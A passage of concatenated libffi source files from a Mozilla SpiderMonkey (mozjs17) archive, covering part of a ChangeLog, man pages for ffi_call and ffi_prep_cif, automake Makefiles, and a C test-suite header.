ident string. * src/mips/ffi.c: Remove RCS ident string. * src/mips/n32.S: Remove RCS ident string. * src/mips/o32.S: Remove RCS ident string. * src/sparc/ffi.c: Remove RCS ident string. * src/sparc/v8.S: Remove RCS ident string. * src/sparc/v9.S: Remove RCS ident string. * src/x86/ffi.c: Remove RCS ident string. * src/x86/sysv.S: Remove RCS ident string. 2001-02-08 Joseph S. Myers * include/ffi.h.in: Change sourceware.cygnus.com references to gcc.gnu.org. 2000-12-09 Richard Henderson * src/alpha/ffi.c (ffi_call): Simplify struct return test. (ffi_closure_osf_inner): Index rather than increment avalue and arg_types. Give ffi_closure_osf the raw return value type. * src/alpha/osf.S (ffi_closure_osf): Handle return value type promotion. 2000-12-07 Richard Henderson * src/raw_api.c (ffi_translate_args): Fix typo. (ffi_prep_closure): Likewise. * include/ffi.h.in [ALPHA]: Define FFI_CLOSURES and FFI_TRAMPOLINE_SIZE. * src/alpha/ffi.c (ffi_prep_cif_machdep): Adjust minimal cif->bytes for new ffi_call_osf implementation. (ffi_prep_args): Absorb into ... (ffi_call): ... here. Do all stack allocation here and avoid a callback function. (ffi_prep_closure, ffi_closure_osf_inner): New. * src/alpha/osf.S (ffi_call_osf): Reimplement with no callback. (ffi_closure_osf): New. 2000-09-10 Alexandre Oliva * config.guess, config.sub, install-sh: Removed. * ltconfig, ltmain.sh, missing, mkinstalldirs: Likewise. * Makefile.in: Rebuilt. * acinclude.m4: Include libtool macros from the top level. * aclocal.m4, configure: Rebuilt. 2000-08-22 Alexandre Oliva * configure.in [i*86-*-freebsd*] (TARGET, TARGETDIR): Set. * configure: Rebuilt. 2000-05-11 Scott Bambrough * libffi/src/arm/sysv.S (ffi_call_SYSV): Doubles are not saved to memory correctly. Use conditional instructions, not branches where possible. 2000-05-04 Tom Tromey * configure: Rebuilt. * configure.in: Match `arm*-*-linux-*'. From Chris Dornan . 2000-04-28 Jakub Jelinek * Makefile.am (SUBDIRS): Define. (AM_MAKEFLAGS): Likewise. (Multilib support.): Add section. * Makefile.in: Rebuilt. * ltconfig (extra_compiler_flags, extra_compiler_flags_value): New variables. Set for gcc using -print-multi-lib. Export them to libtool. (sparc64-*-linux-gnu*): Use libsuff 64 for search paths. * ltmain.sh (B|b|V): Don't throw away gcc's -B, -b and -V options for -shared links. (extra_compiler_flags_value, extra_compiler_flags): Check these for extra compiler options which need to be passed down in compiler_flags. 2000-04-16 Anthony Green * configure: Rebuilt. * configure.in: Change i*86-pc-linux* to i*86-*-linux*. 2000-04-14 Jakub Jelinek * include/ffi.h.in (SPARC64): Define for 64bit SPARC builds. Set SPARC FFI_DEFAULT_ABI based on SPARC64 define. * src/sparc/ffi.c (ffi_prep_args_v8): Renamed from ffi_prep_args. Replace all void * sizeofs with sizeof(int). Only compare type with FFI_TYPE_LONGDOUBLE if LONGDOUBLE is different than DOUBLE. Remove FFI_TYPE_SINT32 and FFI_TYPE_UINT32 cases (handled elsewhere). (ffi_prep_args_v9): New function. (ffi_prep_cif_machdep): Handle V9 ABI and long long on V8. (ffi_V9_return_struct): New function. (ffi_call): Handle FFI_V9 ABI from 64bit code and FFI_V8 ABI from 32bit code (not yet cross-arch calls). * src/sparc/v8.S: Add struct return delay nop. Handle long long. * src/sparc/v9.S: New file. * src/prep_cif.c (ffi_prep_cif): Return structure pointer is used on sparc64 only for structures larger than 32 bytes. Pass by reference for structures is done for structure arguments larger than 16 bytes. * src/ffitest.c (main): Use 64bit rint on sparc64. Run long long tests on sparc. * src/types.c (FFI_TYPE_POINTER): Pointer is 64bit on alpha and sparc64. (FFI_TYPE_LONGDOUBLE): long double is 128 bit aligned to 128 bits on sparc64. * configure.in (sparc-*-linux*): New supported target. (sparc64-*-linux*): Likewise. * configure: Rebuilt. * Makefile.am: Add v9.S to SPARC files. * Makefile.in: Likewise. (LINK): Surround $(CCLD) into double quotes, so that multilib compiles work correctly. 2000-04-04 Alexandre Petit-Bianco * configure: Rebuilt. * configure.in: (i*86-*-solaris*): New libffi target. Patch proposed by Bryce McKinlay. 2000-03-20 Tom Tromey * Makefile.in: Hand edit for java_raw_api.lo. 2000-03-08 Bryce McKinlay * config.guess, config.sub: Update from the gcc tree. Fix for PR libgcj/168. 2000-03-03 Tom Tromey * Makefile.in: Fixed ia64 by hand. * configure: Rebuilt. * configure.in (--enable-multilib): New option. (libffi_basedir): New subst. (AC_OUTPUT): Added multilib code. 2000-03-02 Tom Tromey * Makefile.in: Rebuilt. * Makefile.am (TARGET_SRC_IA64): Use `ia64', not `alpha', as directory name. 2000-02-25 Hans Boehm * src/ia64/ffi.c, src/ia64/ia64_flags.h, src/ia64/unix.S: New files. * src/raw_api.c (ffi_translate_args): Fixed typo in argument list. (ffi_prep_raw_closure): Use ffi_translate_args, not ffi_closure_translate. * src/java_raw_api.c: New file. * src/ffitest.c (closure_test_fn): New function. (main): Define `rint' as long long on IA64. Added new test when FFI_CLOSURES is defined. * include/ffi.h.in (ALIGN): Use size_t, not unsigned. (ffi_abi): Recognize IA64. (ffi_raw): Added `flt' field. Added "Java raw API" code. * configure.in: Recognize ia64. * Makefile.am (TARGET_SRC_IA64): New macro. (libffi_la_common_SOURCES): Added java_raw_api.c. (libffi_la_SOURCES): Define in IA64 case. 2000-01-04 Tom Tromey * Makefile.in: Rebuilt with newer automake. 1999-12-31 Tom Tromey * Makefile.am (INCLUDES): Added -I$(top_srcdir)/src. 1999-09-01 Tom Tromey * include/ffi.h.in: Removed PACKAGE and VERSION defines and undefs. * fficonfig.h.in: Rebuilt. * configure: Rebuilt. * configure.in: Pass 3rd argument to AM_INIT_AUTOMAKE. Use AM_PROG_LIBTOOL (automake 1.4 compatibility). * acconfig.h: Don't #undef PACKAGE or VERSION. 1999-08-09 Anthony Green * include/ffi.h.in: Try to work around messy header problem with PACKAGE and VERSION. * configure: Rebuilt. * configure.in: Change version to 2.00-beta. * fficonfig.h.in: Rebuilt. * acconfig.h (FFI_NO_STRUCTS, FFI_NO_RAW_API): Define. * src/x86/ffi.c (ffi_raw_call): Rename. 1999-08-02 Kresten Krab Thorup * src/x86/ffi.c (ffi_closure_SYSV): New function. (ffi_prep_incoming_args_SYSV): Ditto. (ffi_prep_closure): Ditto. (ffi_closure_raw_SYSV): Ditto. (ffi_prep_raw_closure): More ditto. (ffi_call_raw): Final ditto. * include/ffi.h.in: Add definitions for closure and raw API. * src/x86/ffi.c (ffi_prep_cif_machdep): Added case for FFI_TYPE_UINT64. * Makefile.am (libffi_la_common_SOURCES): Added raw_api.c * src/raw_api.c: New file. * include/ffi.h.in (ffi_raw): New type. (UINT_ARG, SINT_ARG): New defines. (ffi_closure, ffi_raw_closure): New types. (ffi_prep_closure, ffi_prep_raw_closure): New declarations. * configure.in: Add check for endianness and sizeof void*. * src/x86/sysv.S (ffi_call_SYSV): Call fixup routine via argument, instead of directly. * configure: Rebuilt. Thu Jul 8 14:28:42 1999 Anthony Green * configure.in: Add x86 and powerpc BeOS configurations. From Makoto Kato . 1999-05-09 Anthony Green * configure.in: Add warning about this being beta code. Remove src/Makefile.am from the picture. * configure: Rebuilt. * Makefile.am: Move logic from src/Makefile.am. Add changes to support libffi as a target library. * Makefile.in: Rebuilt. * aclocal.m4, config.guess, config.sub, ltconfig, ltmain.sh: Upgraded to new autoconf, automake, libtool. * README: Tweaks. * LICENSE: Update copyright date. * src/Makefile.am, src/Makefile.in: Removed. 1998-11-29 Anthony Green * include/ChangeLog: Removed. * src/ChangeLog: Removed. * src/mips/ChangeLog: Removed. * src/sparc/ChangeLog: Remboved. * src/x86/ChangeLog: Removed. * ChangeLog.v1: Created. mozjs17.0.0/js/src/ctypes/libffi/man/0000775000175000017500000000000012106270662017320 5ustar sstanglsstanglmozjs17.0.0/js/src/ctypes/libffi/man/ffi_call.30000664000175000017500000000443512106270662021151 0ustar sstanglsstangl.Dd February 15, 2008 .Dt ffi_call 3 .Sh NAME .Nm ffi_call .Nd Invoke a foreign function. .Sh SYNOPSIS .In ffi.h .Ft void .Fo ffi_call .Fa "ffi_cif *cif" .Fa "void (*fn)(void)" .Fa "void *rvalue" .Fa "void **avalue" .Fc .Sh DESCRIPTION The .Nm ffi_call function provides a simple mechanism for invoking a function without requiring knowledge of the function's interface at compile time. .Fa fn is called with the values retrieved from the pointers in the .Fa avalue array. The return value from .Fa fn is placed in storage pointed to by .Fa rvalue . .Fa cif contains information describing the data types, sizes and alignments of the arguments to and return value from .Fa fn , and must be initialized with .Nm ffi_prep_cif before it is used with .Nm ffi_call . .Pp .Fa rvalue must point to storage that is sizeof(ffi_arg) or larger for non-floating point types. For smaller-sized return value types, the .Nm ffi_arg or .Nm ffi_sarg integral type must be used to hold the return value. .Sh EXAMPLES .Bd -literal #include #include unsigned char foo(unsigned int, float); int main(int argc, const char **argv) { ffi_cif cif; ffi_type *arg_types[2]; void *arg_values[2]; ffi_status status; // Because the return value from foo() is smaller than sizeof(long), it // must be passed as ffi_arg or ffi_sarg. ffi_arg result; // Specify the data type of each argument. Available types are defined // in . arg_types[0] = &ffi_type_uint; arg_types[1] = &ffi_type_float; // Prepare the ffi_cif structure. if ((status = ffi_prep_cif(&cif, FFI_DEFAULT_ABI, 2, &ffi_type_uint8, arg_types)) != FFI_OK) { // Handle the ffi_status error. } // Specify the values of each argument. unsigned int arg1 = 42; float arg2 = 5.1; arg_values[0] = &arg1; arg_values[1] = &arg2; // Invoke the function. ffi_call(&cif, FFI_FN(foo), &result, arg_values); // The ffi_arg 'result' now contains the unsigned char returned from foo(), // which can be accessed by a typecast. printf("result is %hhu", (unsigned char)result); return 0; } // The target function. unsigned char foo(unsigned int x, float y) { unsigned char result = x - y; return result; } .Ed .Sh SEE ALSO .Xr ffi 3 , .Xr ffi_prep_cif 3 mozjs17.0.0/js/src/ctypes/libffi/man/ffi.30000664000175000017500000000121012106270662020142 0ustar sstanglsstangl.Dd February 15, 2008 .Dt FFI 3 .Sh NAME .Nm FFI .Nd Foreign Function Interface .Sh LIBRARY libffi, -lffi .Sh SYNOPSIS .In ffi.h .Ft ffi_status .Fo ffi_prep_cif .Fa "ffi_cif *cif" .Fa "ffi_abi abi" .Fa "unsigned int nargs" .Fa "ffi_type *rtype" .Fa "ffi_type **atypes" .Fc .Ft void .Fo ffi_call .Fa "ffi_cif *cif" .Fa "void (*fn)(void)" .Fa "void *rvalue" .Fa "void **avalue" .Fc .Sh DESCRIPTION The foreign function interface provides a mechanism by which a function can generate a call to another function at runtime without requiring knowledge of the called function's interface at compile time. .Sh SEE ALSO .Xr ffi_prep_cif 3 , .Xr ffi_call 3 mozjs17.0.0/js/src/ctypes/libffi/man/Makefile.am0000664000175000017500000000025112106270662021352 0ustar sstanglsstangl## Process this with automake to create Makefile.in AUTOMAKE_OPTIONS=foreign EXTRA_DIST = ffi.3 ffi_call.3 ffi_prep_cif.3 man_MANS = ffi.3 ffi_call.3 ffi_prep_cif.3 mozjs17.0.0/js/src/ctypes/libffi/man/ffi_prep_cif.30000664000175000017500000000203512106270662022017 0ustar sstanglsstangl.Dd February 15, 2008 .Dt ffi_prep_cif 3 .Sh NAME .Nm ffi_prep_cif .Nd Prepare a .Nm ffi_cif structure for use with .Nm ffi_call . .Sh SYNOPSIS .In ffi.h .Ft ffi_status .Fo ffi_prep_cif .Fa "ffi_cif *cif" .Fa "ffi_abi abi" .Fa "unsigned int nargs" .Fa "ffi_type *rtype" .Fa "ffi_type **atypes" .Fc .Sh DESCRIPTION The .Nm ffi_prep_cif function prepares a .Nm ffi_cif structure for use with .Nm ffi_call . .Fa abi specifies a set of calling conventions to use. .Fa atypes is an array of .Fa nargs pointers to .Nm ffi_type structs that describe the data type, size and alignment of each argument. .Fa rtype points to an .Nm ffi_type that describes the data type, size and alignment of the return value. .Sh RETURN VALUES Upon successful completion, .Nm ffi_prep_cif returns .Nm FFI_OK . It will return .Nm FFI_BAD_TYPEDEF if .Fa cif is .Nm NULL or .Fa atypes or .Fa rtype is malformed. If .Fa abi does not refer to a valid ABI, .Nm FFI_BAD_ABI will be returned. Available ABIs are defined in .Nm . .Sh SEE ALSO .Xr ffi 3 , .Xr ffi_call 3 mozjs17.0.0/js/src/ctypes/libffi/man/Makefile.in0000664000175000017500000003220612106270662021370 0ustar sstanglsstangl# Makefile.in generated by automake 1.11.1 from Makefile.am. # @configure_input@ # Copyright (C) 1994, 1995, 1996, 1997, 1998, 1999, 2000, 2001, 2002, # 2003, 2004, 2005, 2006, 2007, 2008, 2009 Free Software Foundation, # Inc. # This Makefile.in is free software; the Free Software Foundation # gives unlimited permission to copy and/or distribute it, # with or without modifications, as long as this notice is preserved. # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY, to the extent permitted by law; without # even the implied warranty of MERCHANTABILITY or FITNESS FOR A # PARTICULAR PURPOSE. @SET_MAKE@ VPATH = @srcdir@ pkgdatadir = $(datadir)/@PACKAGE@ pkgincludedir = $(includedir)/@PACKAGE@ pkglibdir = $(libdir)/@PACKAGE@ pkglibexecdir = $(libexecdir)/@PACKAGE@ am__cd = CDPATH="$${ZSH_VERSION+.}$(PATH_SEPARATOR)" && cd install_sh_DATA = $(install_sh) -c -m 644 install_sh_PROGRAM = $(install_sh) -c install_sh_SCRIPT = $(install_sh) -c INSTALL_HEADER = $(INSTALL_DATA) transform = $(program_transform_name) NORMAL_INSTALL = : PRE_INSTALL = : POST_INSTALL = : NORMAL_UNINSTALL = : PRE_UNINSTALL = : POST_UNINSTALL = : build_triplet = @build@ host_triplet = @host@ target_triplet = @target@ subdir = man DIST_COMMON = $(srcdir)/Makefile.am $(srcdir)/Makefile.in ACLOCAL_M4 = $(top_srcdir)/aclocal.m4 am__aclocal_m4_deps = $(top_srcdir)/acinclude.m4 \ $(top_srcdir)/configure.ac am__configure_deps = $(am__aclocal_m4_deps) $(CONFIGURE_DEPENDENCIES) \ $(ACLOCAL_M4) mkinstalldirs = $(install_sh) -d CONFIG_HEADER = $(top_builddir)/fficonfig.h CONFIG_CLEAN_FILES = CONFIG_CLEAN_VPATH_FILES = SOURCES = DIST_SOURCES = am__vpath_adj_setup = srcdirstrip=`echo "$(srcdir)" | sed 's|.|.|g'`; am__vpath_adj = case $$p in \ $(srcdir)/*) f=`echo "$$p" | sed "s|^$$srcdirstrip/||"`;; \ *) f=$$p;; \ esac; am__strip_dir = f=`echo $$p | sed -e 's|^.*/||'`; am__install_max = 40 am__nobase_strip_setup = \ srcdirstrip=`echo "$(srcdir)" | sed 's/[].[^$$\\*|]/\\\\&/g'` am__nobase_strip = \ for p in $$list; do echo "$$p"; done | sed -e "s|$$srcdirstrip/||" am__nobase_list = $(am__nobase_strip_setup); \ for p in $$list; do echo "$$p $$p"; done | \ sed "s| $$srcdirstrip/| |;"' / .*\//!s/ .*/ ./; s,\( .*\)/[^/]*$$,\1,' | \ $(AWK) 'BEGIN { files["."] = "" } { files[$$2] = files[$$2] " " $$1; \ if (++n[$$2] == $(am__install_max)) \ { print $$2, files[$$2]; n[$$2] = 0; files[$$2] = "" } } \ END { for (dir in files) print dir, files[dir] }' am__base_list = \ sed '$$!N;$$!N;$$!N;$$!N;$$!N;$$!N;$$!N;s/\n/ /g' | \ sed '$$!N;$$!N;$$!N;$$!N;s/\n/ /g' man3dir = $(mandir)/man3 am__installdirs = "$(DESTDIR)$(man3dir)" NROFF = nroff MANS = $(man_MANS) DISTFILES = $(DIST_COMMON) $(DIST_SOURCES) $(TEXINFOS) $(EXTRA_DIST) ACLOCAL = @ACLOCAL@ ALLOCA = @ALLOCA@ AMTAR = @AMTAR@ AM_LTLDFLAGS = @AM_LTLDFLAGS@ AM_RUNTESTFLAGS = @AM_RUNTESTFLAGS@ AR = @AR@ AUTOCONF = @AUTOCONF@ AUTOHEADER = @AUTOHEADER@ AUTOMAKE = @AUTOMAKE@ AWK = @AWK@ CC = @CC@ CCAS = @CCAS@ CCASDEPMODE = @CCASDEPMODE@ CCASFLAGS = @CCASFLAGS@ CCDEPMODE = @CCDEPMODE@ CFLAGS = @CFLAGS@ CPP = @CPP@ CPPFLAGS = @CPPFLAGS@ CYGPATH_W = @CYGPATH_W@ DEFS = @DEFS@ DEPDIR = @DEPDIR@ DSYMUTIL = @DSYMUTIL@ DUMPBIN = @DUMPBIN@ ECHO_C = @ECHO_C@ ECHO_N = @ECHO_N@ ECHO_T = @ECHO_T@ EGREP = @EGREP@ EXEEXT = @EXEEXT@ FGREP = @FGREP@ GREP = @GREP@ HAVE_LONG_DOUBLE = @HAVE_LONG_DOUBLE@ INSTALL = @INSTALL@ INSTALL_DATA = @INSTALL_DATA@ INSTALL_PROGRAM = @INSTALL_PROGRAM@ INSTALL_SCRIPT = @INSTALL_SCRIPT@ INSTALL_STRIP_PROGRAM = @INSTALL_STRIP_PROGRAM@ LD = @LD@ LDFLAGS = @LDFLAGS@ LIBOBJS = @LIBOBJS@ LIBS = @LIBS@ LIBTOOL = @LIBTOOL@ LIPO = @LIPO@ LN_S = @LN_S@ LTLIBOBJS = @LTLIBOBJS@ MAINT = @MAINT@ MAKEINFO = @MAKEINFO@ MKDIR_P = @MKDIR_P@ NM = @NM@ NMEDIT = @NMEDIT@ OBJDUMP = @OBJDUMP@ OBJEXT = @OBJEXT@ OTOOL = @OTOOL@ OTOOL64 = @OTOOL64@ PACKAGE = @PACKAGE@ PACKAGE_BUGREPORT = @PACKAGE_BUGREPORT@ PACKAGE_NAME = @PACKAGE_NAME@ PACKAGE_STRING = @PACKAGE_STRING@ PACKAGE_TARNAME = @PACKAGE_TARNAME@ PACKAGE_URL = @PACKAGE_URL@ PACKAGE_VERSION = @PACKAGE_VERSION@ PATH_SEPARATOR = @PATH_SEPARATOR@ RANLIB = @RANLIB@ SED = @SED@ SET_MAKE = @SET_MAKE@ SHELL = @SHELL@ STRIP = @STRIP@ TARGET = @TARGET@ TARGETDIR = @TARGETDIR@ VERSION = @VERSION@ abs_builddir = @abs_builddir@ abs_srcdir = @abs_srcdir@ abs_top_builddir = @abs_top_builddir@ abs_top_srcdir = @abs_top_srcdir@ ac_ct_CC = @ac_ct_CC@ ac_ct_DUMPBIN = @ac_ct_DUMPBIN@ am__include = @am__include@ am__leading_dot = @am__leading_dot@ am__quote = @am__quote@ am__tar = @am__tar@ am__untar = @am__untar@ bindir = @bindir@ build = @build@ build_alias = @build_alias@ build_cpu = @build_cpu@ build_os = @build_os@ build_vendor = @build_vendor@ builddir = @builddir@ datadir = @datadir@ datarootdir = @datarootdir@ docdir = @docdir@ dvidir = @dvidir@ exec_prefix = @exec_prefix@ host = @host@ host_alias = @host_alias@ host_cpu = @host_cpu@ host_os = @host_os@ host_vendor = @host_vendor@ htmldir = @htmldir@ includedir = @includedir@ infodir = @infodir@ install_sh = @install_sh@ libdir = @libdir@ libexecdir = @libexecdir@ localedir = @localedir@ localstatedir = @localstatedir@ lt_ECHO = @lt_ECHO@ mandir = @mandir@ mkdir_p = @mkdir_p@ oldincludedir = @oldincludedir@ pdfdir = @pdfdir@ prefix = @prefix@ program_transform_name = @program_transform_name@ psdir = @psdir@ sbindir = @sbindir@ sharedstatedir = @sharedstatedir@ srcdir = @srcdir@ sysconfdir = @sysconfdir@ target = @target@ target_alias = @target_alias@ target_cpu = @target_cpu@ target_os = @target_os@ target_vendor = @target_vendor@ toolexecdir = @toolexecdir@ toolexeclibdir = @toolexeclibdir@ top_build_prefix = @top_build_prefix@ top_builddir = @top_builddir@ top_srcdir = @top_srcdir@ AUTOMAKE_OPTIONS = foreign EXTRA_DIST = ffi.3 ffi_call.3 ffi_prep_cif.3 man_MANS = ffi.3 ffi_call.3 ffi_prep_cif.3 all: all-am .SUFFIXES: $(srcdir)/Makefile.in: @MAINTAINER_MODE_TRUE@ $(srcdir)/Makefile.am $(am__configure_deps) @for dep in $?; do \ case '$(am__configure_deps)' in \ *$$dep*) \ ( cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh ) \ && { if test -f $@; then exit 0; else break; fi; }; \ exit 1;; \ esac; \ done; \ echo ' cd $(top_srcdir) && $(AUTOMAKE) --foreign man/Makefile'; \ $(am__cd) $(top_srcdir) && \ $(AUTOMAKE) --foreign man/Makefile .PRECIOUS: Makefile Makefile: $(srcdir)/Makefile.in $(top_builddir)/config.status @case '$?' in \ *config.status*) \ cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh;; \ *) \ echo ' cd $(top_builddir) && $(SHELL) ./config.status $(subdir)/$@ $(am__depfiles_maybe)'; \ cd $(top_builddir) && $(SHELL) ./config.status $(subdir)/$@ $(am__depfiles_maybe);; \ esac; $(top_builddir)/config.status: $(top_srcdir)/configure $(CONFIG_STATUS_DEPENDENCIES) cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh $(top_srcdir)/configure: @MAINTAINER_MODE_TRUE@ $(am__configure_deps) cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh $(ACLOCAL_M4): @MAINTAINER_MODE_TRUE@ $(am__aclocal_m4_deps) cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh $(am__aclocal_m4_deps): mostlyclean-libtool: -rm -f *.lo clean-libtool: -rm -rf .libs _libs install-man3: $(man_MANS) @$(NORMAL_INSTALL) test -z "$(man3dir)" || $(MKDIR_P) "$(DESTDIR)$(man3dir)" @list=''; test -n "$(man3dir)" || exit 0; \ { for i in $$list; do echo "$$i"; done; \ l2='$(man_MANS)'; for i in $$l2; do echo "$$i"; done | \ sed -n '/\.3[a-z]*$$/p'; \ } | while read p; do \ if test -f $$p; then d=; else d="$(srcdir)/"; fi; \ echo "$$d$$p"; echo "$$p"; \ done | \ sed -e 'n;s,.*/,,;p;h;s,.*\.,,;s,^[^3][0-9a-z]*$$,3,;x' \ -e 's,\.[0-9a-z]*$$,,;$(transform);G;s,\n,.,' | \ sed 'N;N;s,\n, ,g' | { \ list=; while read file base inst; do \ if test "$$base" = "$$inst"; then list="$$list $$file"; else \ echo " $(INSTALL_DATA) '$$file' '$(DESTDIR)$(man3dir)/$$inst'"; \ $(INSTALL_DATA) "$$file" "$(DESTDIR)$(man3dir)/$$inst" || exit $$?; \ fi; \ done; \ for i in $$list; do echo "$$i"; done | $(am__base_list) | \ while read files; do \ test -z "$$files" || { \ echo " $(INSTALL_DATA) $$files '$(DESTDIR)$(man3dir)'"; \ $(INSTALL_DATA) $$files "$(DESTDIR)$(man3dir)" || exit $$?; }; \ done; } uninstall-man3: @$(NORMAL_UNINSTALL) @list=''; test -n "$(man3dir)" || exit 0; \ files=`{ for i in $$list; do echo "$$i"; done; \ l2='$(man_MANS)'; for i in $$l2; do echo "$$i"; done | \ sed -n '/\.3[a-z]*$$/p'; \ } | sed -e 's,.*/,,;h;s,.*\.,,;s,^[^3][0-9a-z]*$$,3,;x' \ -e 's,\.[0-9a-z]*$$,,;$(transform);G;s,\n,.,'`; \ test -z "$$files" || { \ echo " ( cd '$(DESTDIR)$(man3dir)' && rm -f" $$files ")"; \ cd "$(DESTDIR)$(man3dir)" && rm -f $$files; } tags: TAGS TAGS: ctags: CTAGS CTAGS: distdir: $(DISTFILES) @list='$(MANS)'; if test -n "$$list"; then \ list=`for p in $$list; do \ if test -f $$p; then d=; else d="$(srcdir)/"; fi; \ if test -f "$$d$$p"; then echo "$$d$$p"; else :; fi; done`; \ if test -n "$$list" && \ grep 'ab help2man is required to generate this page' $$list >/dev/null; then \ echo "error: found man pages containing the \`missing help2man' replacement text:" >&2; \ grep -l 'ab help2man is required to generate this page' $$list | sed 's/^/ /' >&2; \ echo " to fix them, install help2man, remove and regenerate the man pages;" >&2; \ echo " typically \`make maintainer-clean' will remove them" >&2; \ exit 1; \ else :; fi; \ else :; fi @srcdirstrip=`echo "$(srcdir)" | sed 's/[].[^$$\\*]/\\\\&/g'`; \ topsrcdirstrip=`echo "$(top_srcdir)" | sed 's/[].[^$$\\*]/\\\\&/g'`; \ list='$(DISTFILES)'; \ dist_files=`for file in $$list; do echo $$file; done | \ sed -e "s|^$$srcdirstrip/||;t" \ -e "s|^$$topsrcdirstrip/|$(top_builddir)/|;t"`; \ case $$dist_files in \ */*) $(MKDIR_P) `echo "$$dist_files" | \ sed '/\//!d;s|^|$(distdir)/|;s,/[^/]*$$,,' | \ sort -u` ;; \ esac; \ for file in $$dist_files; do \ if test -f $$file || test -d $$file; then d=.; else d=$(srcdir); fi; \ if test -d $$d/$$file; then \ dir=`echo "/$$file" | sed -e 's,/[^/]*$$,,'`; \ if test -d "$(distdir)/$$file"; then \ find "$(distdir)/$$file" -type d ! -perm -700 -exec chmod u+rwx {} \;; \ fi; \ if test -d $(srcdir)/$$file && test $$d != $(srcdir); then \ cp -fpR $(srcdir)/$$file "$(distdir)$$dir" || exit 1; \ find "$(distdir)/$$file" -type d ! -perm -700 -exec chmod u+rwx {} \;; \ fi; \ cp -fpR $$d/$$file "$(distdir)$$dir" || exit 1; \ else \ test -f "$(distdir)/$$file" \ || cp -p $$d/$$file "$(distdir)/$$file" \ || exit 1; \ fi; \ done check-am: all-am check: check-am all-am: Makefile $(MANS) installdirs: for dir in "$(DESTDIR)$(man3dir)"; do \ test -z "$$dir" || $(MKDIR_P) "$$dir"; \ done install: install-am install-exec: install-exec-am install-data: install-data-am uninstall: uninstall-am install-am: all-am @$(MAKE) $(AM_MAKEFLAGS) install-exec-am install-data-am installcheck: installcheck-am install-strip: $(MAKE) $(AM_MAKEFLAGS) INSTALL_PROGRAM="$(INSTALL_STRIP_PROGRAM)" \ install_sh_PROGRAM="$(INSTALL_STRIP_PROGRAM)" INSTALL_STRIP_FLAG=-s \ `test -z '$(STRIP)' || \ echo "INSTALL_PROGRAM_ENV=STRIPPROG='$(STRIP)'"` install mostlyclean-generic: clean-generic: distclean-generic: -test -z "$(CONFIG_CLEAN_FILES)" || rm -f $(CONFIG_CLEAN_FILES) -test . = "$(srcdir)" || test -z "$(CONFIG_CLEAN_VPATH_FILES)" || rm -f $(CONFIG_CLEAN_VPATH_FILES) maintainer-clean-generic: @echo "This command is intended for maintainers to use" @echo "it deletes files that may require special tools to rebuild." clean: clean-am clean-am: clean-generic clean-libtool mostlyclean-am distclean: distclean-am -rm -f Makefile distclean-am: clean-am distclean-generic dvi: dvi-am dvi-am: html: html-am html-am: info: info-am info-am: install-data-am: install-man install-dvi: install-dvi-am install-dvi-am: install-exec-am: install-html: install-html-am install-html-am: install-info: install-info-am install-info-am: install-man: install-man3 install-pdf: install-pdf-am install-pdf-am: install-ps: install-ps-am install-ps-am: installcheck-am: maintainer-clean: maintainer-clean-am -rm -f Makefile maintainer-clean-am: distclean-am maintainer-clean-generic mostlyclean: mostlyclean-am mostlyclean-am: mostlyclean-generic mostlyclean-libtool pdf: pdf-am pdf-am: ps: ps-am ps-am: uninstall-am: uninstall-man uninstall-man: uninstall-man3 .MAKE: install-am install-strip .PHONY: all all-am check check-am clean clean-generic clean-libtool \ distclean distclean-generic distclean-libtool distdir dvi \ dvi-am html html-am info info-am install install-am \ install-data install-data-am install-dvi install-dvi-am \ install-exec install-exec-am install-html install-html-am \ install-info install-info-am install-man install-man3 \ install-pdf install-pdf-am install-ps install-ps-am \ install-strip installcheck installcheck-am installdirs \ maintainer-clean maintainer-clean-generic mostlyclean \ mostlyclean-generic mostlyclean-libtool pdf pdf-am ps ps-am \ uninstall uninstall-am uninstall-man uninstall-man3 # Tell versions [3.59,3.63) of GNU make to not export all variables. # Otherwise a system limit (for SysV at least) may be exceeded. .NOEXPORT: mozjs17.0.0/js/src/ctypes/libffi/testsuite/0000775000175000017500000000000012106270662020576 5ustar sstanglsstanglmozjs17.0.0/js/src/ctypes/libffi/testsuite/libffi.special/0000775000175000017500000000000012106270662023450 5ustar sstanglsstanglmozjs17.0.0/js/src/ctypes/libffi/testsuite/libffi.special/ffitestcxx.h0000664000175000017500000000330312106270662026007 0ustar sstanglsstangl#include #include #include #include #include "fficonfig.h" #define MAX_ARGS 256 /* Define __UNUSED__ that also other compilers than gcc can run the tests. */ #undef __UNUSED__ #if defined(__GNUC__) #define __UNUSED__ __attribute__((__unused__)) #else #define __UNUSED__ #endif #define CHECK(x) (!(x) ? abort() : (void)0) /* Prefer MAP_ANON(YMOUS) to /dev/zero, since we don't need to keep a file open. */ #ifdef HAVE_MMAP_ANON # undef HAVE_MMAP_DEV_ZERO # include # ifndef MAP_FAILED # define MAP_FAILED -1 # endif # if !defined (MAP_ANONYMOUS) && defined (MAP_ANON) # define MAP_ANONYMOUS MAP_ANON # endif # define USING_MMAP #endif #ifdef HAVE_MMAP_DEV_ZERO # include # ifndef MAP_FAILED # define MAP_FAILED -1 # endif # define USING_MMAP #endif /* MinGW kludge. */ #ifdef _WIN64 #define PRIdLL "I64d" #define PRIuLL "I64u" #else #define PRIdLL "lld" #define PRIuLL "llu" #endif #ifdef USING_MMAP static inline void * allocate_mmap (size_t size) { void *page; #if defined (HAVE_MMAP_DEV_ZERO) static int dev_zero_fd = -1; #endif #ifdef HAVE_MMAP_DEV_ZERO if (dev_zero_fd == -1) { dev_zero_fd = open ("/dev/zero", O_RDONLY); if (dev_zero_fd == -1) { perror ("open /dev/zero: %m"); exit (1); } } #endif #ifdef HAVE_MMAP_ANON page = mmap (NULL, size, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); #endif #ifdef HAVE_MMAP_DEV_ZERO page = mmap (NULL, size, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE, dev_zero_fd, 0); #endif if (page == (char *) MAP_FAILED) { perror ("virtual memory exhausted"); exit (1); } return page; } #endif mozjs17.0.0/js/src/ctypes/libffi/testsuite/libffi.special/unwindtest_ffi_call.cc0000664000175000017500000000201612106270662030001 0ustar sstanglsstangl/* Area: ffi_call, unwind 